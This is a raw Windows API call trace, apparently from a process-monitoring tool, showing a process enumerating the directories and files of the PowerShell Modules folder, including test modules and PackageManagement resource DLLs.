	[0182.515] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.515] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4131a88
	[0182.516] FindNextFileW (in: hFindFile=0x4131a88, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.516] FindNextFileW (in: hFindFile=0x4131a88, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.516] FindNextFileW (in: hFindFile=0x4131a88, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.516] FindClose (in: hFindFile=0x4131a88 | out: hFindFile=0x4131a88) returned 1
	[0182.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.516] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.516] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4132020 | out: hHeap=0x710000) returned 1
	[0182.516] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0182.516] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0182.516] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0182.516] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1
	[0182.517] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4121010
	[0182.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76f168
	[0182.517] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.517] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0182.517] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4132020
	[0182.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f1a8
	[0182.518] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.518] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0182.518] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4151fa0
	[0182.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41314c8
	[0182.518] FindNextFileW (in: hFindFile=0x41314c8, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.518] FindNextFileW (in: hFindFile=0x41314c8, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.518] FindNextFileW (in: hFindFile=0x41314c8, lpFindFileData=0x372e1a4 | out: lpFindFileData=0x372e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0182.518] FindClose (in: hFindFile=0x41314c8 | out: hFindFile=0x41314c8) returned 1
	[0182.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0182.519] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372e420 | out: lpFindFileData=0x372e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0182.519] FindClose (in: hFindFile=0x76f1a8 | out: hFindFile=0x76f1a8) returned 1
	[0182.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4132020 | out: hHeap=0x710000) returned 1
	[0182.519] FindNextFileW (in: hFindFile=0x76f168, lpFindFileData=0x372e69c | out: lpFindFileData=0x372e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0
	[0182.519] FindClose (in: hFindFile=0x76f168 | out: hFindFile=0x76f168) returned 1
	[0182.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0182.519] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x372e918 | out: lpFindFileData=0x372e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0
	[0182.519] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0182.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0182.521] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0
	[0182.521] FindClose (in: hFindFile=0x76ee68 | out: hFindFile=0x76ee68) returned 1
	[0182.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0182.521] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0182.521] FindClose (in: hFindFile=0x76f568 | out: hFindFile=0x76f568) returned 1
	[0182.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.521] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0
	[0182.521] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0182.522] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0182.522] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0
	[0182.522] FindClose (in: hFindFile=0x76ea28 | out: hFindFile=0x76ea28) returned 1
	[0182.522] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0182.523] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1
	[0182.523] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0182.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0182.524] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.524] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1
	[0182.524] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0182.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76ea28
	[0182.526] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0182.526] FindNextFileW (in: hFindFile=0x76ea28, lpFindFileData=0x372f08c | out: lpFindFileData=0x372f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1
	[0182.526] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x38b0960
	[0182.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76f568
	[0182.537] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb5188061, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0182.538] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0182.538] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0182.538] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1
	[0182.538] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1
	[0182.538] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1
	[0182.538] FindNextFileW (in: hFindFile=0x76f568, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1
